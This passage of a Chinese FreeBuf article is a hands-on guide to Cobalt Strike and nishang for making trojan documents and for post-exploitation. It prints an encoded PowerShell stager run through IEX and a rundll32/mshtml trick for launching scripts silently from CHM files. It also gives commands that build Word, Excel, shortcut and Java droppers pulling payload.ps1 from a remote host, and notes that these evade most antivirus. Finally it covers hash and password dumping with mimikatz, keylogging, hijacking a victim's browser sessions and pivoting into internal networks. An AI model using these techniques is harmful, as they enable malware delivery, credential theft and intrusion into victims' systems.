但是通过这种方法制作的chm文档,打开时会有黑屏闪过很容易被擦觉。Evi1cg大牛已经找到了方法并写好了利用工具。

通过rundll32.exe执行jsrundll32.exe javascript:”/../mshtml,RunHTMLApplication “;alert(‘foo’);

rundll32是什么请阅读以下两篇文章:http://bobao.360.cn/learning/detail/164.htmlhttp://support.microsoft.com/kb/164787/

通过Scripted Web Delivery生成的PowerShell,取出木马地址。

工具用法:Python OutChm.py -r http://192.168.4.102:88 -o exp.chm

来看一下木马地址所生成的是什么:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAL1X+2/ayBP/OfwV1imSbR3hnZRWilQDMeBiQjCvhENo8a7NhrWX2msevfZ/v/GDll7S++Z00hfJ0j5mZmc+88Qi4soSAbWFyTGRriYkCCn3pUoud9niXSHdSh/+QJhe5JOpXkeOktfx/NFETBeEaMcgHaISnKqbzQM/

...略

f7SFz1YVLMyR9zua4jnSEU0i8wtJPPUl2N579QoEBcPfMVTPhJG1QukSp172bSJZK+SVcAihZWKzDmB24U90Qp/dfyVdqDKQnjV2lIbAKj7JXBV9DrCIw2sehESEwMZ38B4j+QVgYNAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

经过编码的PowerShell,如果不是通过Cobalt Strike生成,也可以通过nishang的Invoke-Encode.ps1进行编码,有现成的工具这里不多此一举。

提示已上线通过这种办法制作的chm木马可以绕过大多数杀软包括360等但是实战的时候发现会被电脑管家发现。

这里我们所执行的chm文件通过rundll32.exe文件来执行PowerShell。

这里我还思路着另外一个问题当chm文档被执行时木马会上线但是如果目标把这个文件删掉我们的木马将也会被删除。这里会想当打开一个chm文档的时候自动把木迁移到其它进程上。

Tools Links:https://github.com/hackzx/OutCHMhttps://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

制作Word木马

其实和Attacks -> MS Office Macro方法类似

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Word.ps1Out-Word使用方法查看源文件第3-108行使用方法。

Out-Word -Payload ‘加密代码’

以及

Out-Word -PayloadURL http://192.168.4.102:89/download/payload.ps1

其实这两种专景都各有用处比如我在某台机器里不允许访问网络可以使用第一种方法PowerShell有各种各样的内网渗透脚本这里不多介绍。

正常上线。

打开直接中招。可能是之前实例打开过启用宏。这个没有提示宏也没有报其它错误。但具体的日后还需要实战才能下定论。

制作Excel木马

用法:

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Excel.ps1

PS C:/Users/Administrator/Desktop/nishang> Out-Excel -PayloadURL http://192.168.4.102:89/download/payload.ps1

Saved to file C:/Users/Administrator/Desktop/nishang/Salary_Details.xls

0

制作快捷方式钓鱼文件

PS C:/Users/Administrator/Desktop/nishang> Import-Module ./Client/Out-Shortcut.ps1

PS C:/Users/Administrator/Desktop/nishang> Out-Shortcut -PayloadURL http://192.168.4.102:89/download/payload.ps1

The Shortcut file has been written as C:/Users/Administrator/Desktop/nishang/Shortcut to File Server.lnk

正常运行

OUT-JAV1

PS C:/Users/Administrator/Desktop/nishang> Out-Java -PayloadURL http://192.168.4.102:89/download/payload.ps1 -JDKPath "C

:/Program Files/Java/jdk1.8.0_31"

added manifest

adding: JavaPS.class(in = 1176) (out= 697)(deflated 40%)

jar signed.

Warning:

The signer certificate will expire within six months.

No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate

this jar after the signer certificate's expiration date (2017-07-01) or after any future revocation date.

对这个不看好。毕竟很多人电脑都没有装jdk

还有其它如果有遇到的场景我会继续更新

Signed Applet Attack

java攻击需要jdk1.6

Smart Applet Attack

java攻击jdk1.7以及1.6都会受到攻击

System Profiler

分析目标使用什么浏览器以及Adobe版本还有内部ip。

当目标访问的时候会跳转到百度所以不会被杀软发现。

这里收集信息是为了后期apt攻击用

这里可以前期信息收集所用因为这种方法杀软以及浏览器是无法检测出来的可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性的攻击。

Beacon Management

Beacon可以选择通过DNS还是HTTP协议出口网络支持多主机连接。

Intercat

进入到控制台在beacon处输入help则可以看到详细说明

> Beacon Commands

Command                   Description

-------                   -----------

browserpivot              Setup a browser pivot session

bypassuac                 Spawn a session in a high integrity process

cancel                    Cancel a download that's in-progress

cd                        Change directory

checkin                   Call home and post data

clear                     Clear beacon queue

covertvpn                 Deploy Covert VPN client

dcsync                    Extract a password hash from a DC

desktop                   View and interact with target's desktop

dllinject                 Inject a Reflective DLL into a process

download                  Download a file

downloads                 Lists file downloads in progress

drives                    List drives on target

elevate                   Try to elevate privileges

execute                   Execute a program on target

exit                      Terminate the beacon session

getsystem                 Attempt to get SYSTEM

getuid                    Get User ID

hashdump                  Dump password hashes

help                      Help menu

inject                    Spawn a session in a specific process

jobkill                   Kill a long-running post-exploitation task

jobs                      List long-running post-exploitation tasks

kerberos_ccache_use       Apply kerberos ticket from cache to this session

kerberos_ticket_purge     Purge kerberos tickets from this session

kerberos_ticket_use       Apply kerberos ticket to this session

keylogger                 Inject a keystroke logger into a process

kill                      Kill a process

link                      Connect to a Beacon peer over SMB

logonpasswords            Dump credentials and hashes with mimikatz

ls                        List files

make_token                Create a token to pass credentials

mimikatz                  Runs a mimikatz command

mkdir                     Make a directory

mode dns                  Use DNS A as data channel (DNS beacon only)

mode dns-txt              Use DNS TXT as data channel (DNS beacon only)

mode dns6                 Use DNS AAAA as data channel (DNS beacon only)

mode http                 Use HTTP as data channel

mode smb                  Use SMB peer-to-peer communication

net                       Network and host enumeration tool

note                      Assign a note to this Beacon       

portscan                  Scan a network for open services

powerpick                 Execute a command via Unmanaged PowerShell

powershell                Execute a command via powershell.exe

powershell-import         Import a powershell script

ps                        Show process list

psexec                    Use a service to spawn a session on a host

psexec_psh                Use PowerShell to spawn a session on a host

psinject                  Execute PowerShell command in specific process

pth                       Pass-the-hash using Mimikatz

pwd                       Print current directory

rev2self                  Revert to original token

rm                        Remove a file or folder

rportfwd                  Setup a reverse port forward

runas                     Execute a program as another user

screenshot                Take a screenshot

shell                     Execute a command via cmd.exe

shinject                  Inject shellcode into a process

sleep                     Set beacon sleep time

socks                     Start SOCKS4a server to relay traffic

socks stop                Stop SOCKS4a server

spawn                     Spawn a session 

spawnas                   Spawn a session as another user

spawnto                   Set executable to spawn processes into

steal_token               Steal access token from a process

timestomp                 Apply timestamps from one file to another

unlink                    Disconnect from parent Beacon

upload                    Upload a file

wdigest                   Dump plaintext credentials with mimikatz

winrm                     Use WinRM to spawn a session on a host

wmi                       Use WMI to spawn a session on a host

可以快速通过命令来操作其实大多数都是通过图形化操作。

Access

hashdump

获取hash值可以通过

[[http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php)]([http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php))破解。

这种方法只能针对于Windows2003实用其Win2008开始读取到的hash值也是为空

Make Token

获取到的hash用户密码都会在此显示

Run mimikatz

Mimikatz是一个法国获取密码工具能直接获取到明文密码。其实获取密码只是他其中的一个功能。

Explore

browserpivot

用户注入受害者浏览器进程然后开启HTTP代理之后就可以登录受害者登录的网站了。

主机 -> Access -> Proces list

或直接输入browserpivot 进程号

浏览器设置192.168.1.117:35380

截取浏览器进程屏幕

View -> Screenshot

键盘记录

Pivoting

开启socks代理

vim /etc/proxychains.conf

Proxychanins firefox这样可以通过firefox访问内网网站

总结

暂时是这些功能只有在实战中才能体会吧。另外招渗透 604865997@qq.com (深圳)

着重感谢evi1cg 前辈 参考了他很多文章

参考:

https://evi1cg.me/archives/Powershell_client.html

http://www.labofapenetrationtester.com/2014_11_01_archive.html

http://wooyun.jozxing.cc/static/drops/news-15974.3html

http://wooyun.jozxing.cc/static/drops/papers-12315.html

http://wooyun.jozxing.cc/static/drops/papers-6332.html

http://wooyun.jozxing.cc/static/drops/tools-1475.html

https://github.com/rsmudge/cortana-scripts

https://evi1cg.me/archives/Cobalt_strike.html

https://evi1cg.me/archives/chm_backdoor.html

http://bobao.360.cn/learning/detail/164.html

http://support.microsoft.com/kb/164787/

http://www.freebuf.com/articles/system/119874.html

*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: